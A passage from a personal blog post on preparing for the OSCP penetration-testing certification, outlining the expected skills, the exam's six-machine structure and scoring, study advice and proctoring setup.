- You are able to use **basic enumeration tools** in order to understand the **security weaknesses** of a given system, be it a web application, a linux server, a windows server, or an active directory network.
- The **security weaknesses** you need to find do not have to be complex. They can either be stand-alone weaknesses, meaning that they only affect a single vulnerable component of the server, or they can be obtained by combining two, at most three different aspect of the system under attack. By properly enumerating the attack surface, you should be able to discover the weakness of interest.
- Once you have identified a basic security weakness, you should be able to exploit it in order to get further access into the system. Depending on the characteristics of said weakness, you are supposed to either exploit it manually, with simple payloads taught and showcased in the course, or you are supposed to search and find online an existing exploit that will do the job for you. At most, you will be required to change a few lines from the exploits you find in order to make them work on your target.
- Apart from using specific exploits which target only a particular technology, you cannot use tools that perform general automatic exploitation, such as **sqlmap**.
- You need to have a basic yet solid understanding of the most common ways to elevate privileges within linux and windows servers. Once again, this comes down to proper enumeration and basic exploitation skills.
- You need to be able to use **port forwarding** techniques in order to use compromised hosts as pivot points to get access into internal networks. You then need to work with proxy aware tools that will let you enumerate those internal networks by going through the intermediate proxies.
- You need to be aware of the core functionalities of an Active Directory network, and how a malicious attacker can exploit such functionality to move around the network after an initial access has been obtained.

- You need to be able to collect proper notes and express your findings in understandable ways in order to communicate the various vulnerabilities you found in your activity, the best remediation methods and how the vulnerability was exploited.

If you are able to meet these expectations, you should be prepared for the OSCP exam.

Final Exam

Let us now tackle topics regarding the final exam.

Exam Structure

The structure of the final exam (at least up to the 2023 edition) consists of having six different servers that you need to attack. These servers are divided into two groups:

- An Active Directory set, comprised of three servers (**MS01** , **MS02** , **DC01**)
- An Independent Challenges set, comprised of the remaining three servers

To pass you need 70 points. Each independent challenge has two flags, a **local.txt** flag, obtained after we get a foothold within the machine with an interactive reverse shell, and a **proof.txt** , obtained after we get a shell with root privileges on that machine. Each of these flags gives you 10 points, which means that in total each independent challenge is worth 20 points. The Active Directory set is worth 40 points, but to get them you need to complete the entire set, meaning you need to become **Domain Admin** within the **DC01** server. In total there are 100 points.

Given that the AD part is part you can practice better, given that it has a more stable structure. I suggest to start off with this and obtain those juicy 40 points, and then move forward with the independent targets. Having said that, do not invest too much time on a

single target. Do that only at the end, when you finished everything else.

The trick to understand about OSCP is that if you do not get something after 1 to 2 hours, either you simply did not study or practice enough, or you know everything you need to know but you're missing a small detail due to stress and general lack of attention. In these cases, take a break, do another machine, and when you come back to the one that got you stuck, start from the beginning with a fresh mind.

Bonus Points

With the following description, you should now understand that to actually pass the exam you are forced to complete the AD set. This is however not true in general, because outside of the exam you can get 10 extra points by flagging at least 30 machines within the internal lab environment, and by completing at least 80% of the exercises of each module.

Q: Should you do the exercises?

A: I've done them and I have to say it was a little bit tedious, but I think it's worth it. I suggest to complete all the exercises towards the end of your lab time, when you have understood most of the content already. Do the exercises quickly as a refresher of what was covered and prepare a custom cheatsheet with the various commands covered by the course topics.

Proctoring Setup

In terms of proctoring setup, it is quite easy to have everything ready. Just be sure to use **xorg** and not **wayland** when using linux. The software they use for sharing screens is called Janus and it is an open-source implementation of **WebRTC**. For more details, simply go to offsec page, it is well detailed and contains all the info you need

That's it!

I hope this blog post was useful in making you understand a little bit more what are the core topics covered by the OSCP. If you think I've missed anything, please let me know.

Have a good certification, if you choose to tackle this, and if you do not, well just learn the materials by yourself. Internet is a big place, and there are many useful resources out there. At the end of the day, it's the knowledge and the methodology you build while learning that matters.

Everything else is just a symbol


Symbols that one day will disappear.

0 Comments - powered by *utteranc.es*

Write

Preview

Sign in to comment

 Styling with Markdown is supported

Sign in with GitHub

© Leonardo Tamiano
:: Theme made by panr
:: Thin Client icon by Icons8